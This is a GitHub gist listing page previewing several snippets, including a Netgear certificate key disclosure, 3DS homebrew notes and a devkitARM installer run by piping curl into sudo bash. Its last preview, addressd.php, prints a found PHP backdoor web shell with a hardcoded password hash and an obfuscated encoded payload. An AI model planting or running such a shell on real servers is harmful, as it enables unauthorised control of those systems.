Skip to content

Instantly share code, notes, and snippets.

View GarnetSunset's full-sized avatar
🥌
Hack the roomba

James Duarte GarnetSunset

🥌
Hack the roomba
  • Rapid7
  • East Coast
View GitHub Profile
@nstarke
nstarke / netgear-private-key-disclosure.md
Last active April 30, 2024 06:02
Netgear TLS Private Key Disclosure through Device Firmware Images

Netgear Signed TLS Cert Private Key Disclosure

Overview

There are at least two valid, signed TLS certificates that are bundled with publicly available Netgear device firmware.

These certificates are trusted by browsers on all platforms, but will surely be added to revocation lists shortly.

The firmware images that contained these certificates along with their private keys were publicly available for download through Netgear's support website, without authentication; thus anyone in the world could have retrieved these keys.

@victornpb
victornpb / deleteDiscordMessages.js
Last active July 9, 2024 07:46
Delete all your messages from DM or Channel in Discord
/*
This file is now hosted here:
https://github.com/victornpb/undiscord
*/
@SrPhilippe
SrPhilippe / vrchat-dynamic-bone-config.md
Last active May 31, 2024 12:01
Nice configs for dynamic bone to use on VRChat

Vrchat dynamic bone configs

Hair

Normal Long Hair Other
name value name value name value
damping 0.2 damping 0.894 damping 0.025
elasticity 0.05 elasticity 0.1 elasticity 0.008
stiffness 0.8 stiffness 0.783 stiffness 0.85
@kitlith
kitlith / 1-ntrcardhax.md
Last active August 1, 2020 19:22
Collection of Information about ntrcardhax

NTRCARDhax

This is in progress, and is by no means finished, fork and comment with a link to your changes and I'll update here. Information on the 3DS side should be about done. I still have questions, though, which would be nice to know the answers to.
My thoughts on implementing the gamecard side of things can be found here.

ARM9hax

ARM9 code uses REG_NTRCARDMCNT, at physical address 0x1016400 as a reference. ARM9 triggers reading by writing 4 bytes to 4 bytes after this address, REG_NTRCARDROMCNT. This is located at 0x10164004.

@s0r00t
s0r00t / install.sh
Last active February 4, 2020 14:42
Easily set up devkitARM and ctrulib on systems supporting Bash. Git and Curl are required. `curl -sL https://git.io/vs2SL|sudo -E bash` to run the script, remove sudo to set up environment variables. Thanks to https://github.com/profi200 for the original script.
#!/bin/bash
UPDATE=0
echo "devkitARM and ctrulib installer"
echo "script by s0r00t, original script by profi200"
if ! hash git 2>/dev/null; then
echo "ERROR : Git is not installed. Please install Git."
exit 1
fi
if ! hash gcc 2>/dev/null; then
@laacz
laacz / addressd.php
Last active July 5, 2023 17:12
Found new backdoor script and decoded version. Have fun.
<?
// Password is "root" (w/o quotes, of course:)
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0/KSY9NG8ZHjQ0NDQ0NDB4e3g6KXd8Zjx8cWxwcXc8Z2F2Z2BmPDB5dX9xYWQ4MH04Jj09PS8ZHjQ0NDRpGR40NDQ0ZnFgYWZ6NDB4e3gvGR5pGR4wZ3F9d3t4fXp/KWd7eH1wZ2B1YHE8MyYgIyciciMhIyYiJyIhJ3AiJiIlIyciISciJyAhciIgIiEiJyJyIiAiISYsIXUhLCF1IiwiJiAnIiwicSIhInAidyMhIXUicCMsIiwiICAjISEiciEtInAgIiN1IXUhICEtJyQhLCcmISYidyEtJyYnLSJ2IXUhJyIjInEgcSEjIC0jLCByISMhdScgIichICBwIyMiJSJ2ISUnICF1ICcnLScnIicgICEiICAgcCcnISYhJiImJyQnJScgIHEgISBxISYiJiJxIiwhdSEjISAhJiJ1IXUhLCMkICIhdSEjIHUgIyEiICwhdSchISEicSAlJyQiICAsIiMjIyF1JyUgIiEsIHAidyIsIyciJSEgIXUnJSBxISMidickIichIyAtIyIgcSclICYhISEgInUhdSEsISInJiMsInAhICEhISEnJSBxJycgdSclIiAgJyMgInAiJSMtJy0hJCEtISMgcSB2IScnJicsJyEhJiJ2IncgLCImI3UgIiAsIiYjdSJ3IC0hJyEhIicnJSEtInciIyN1IS0n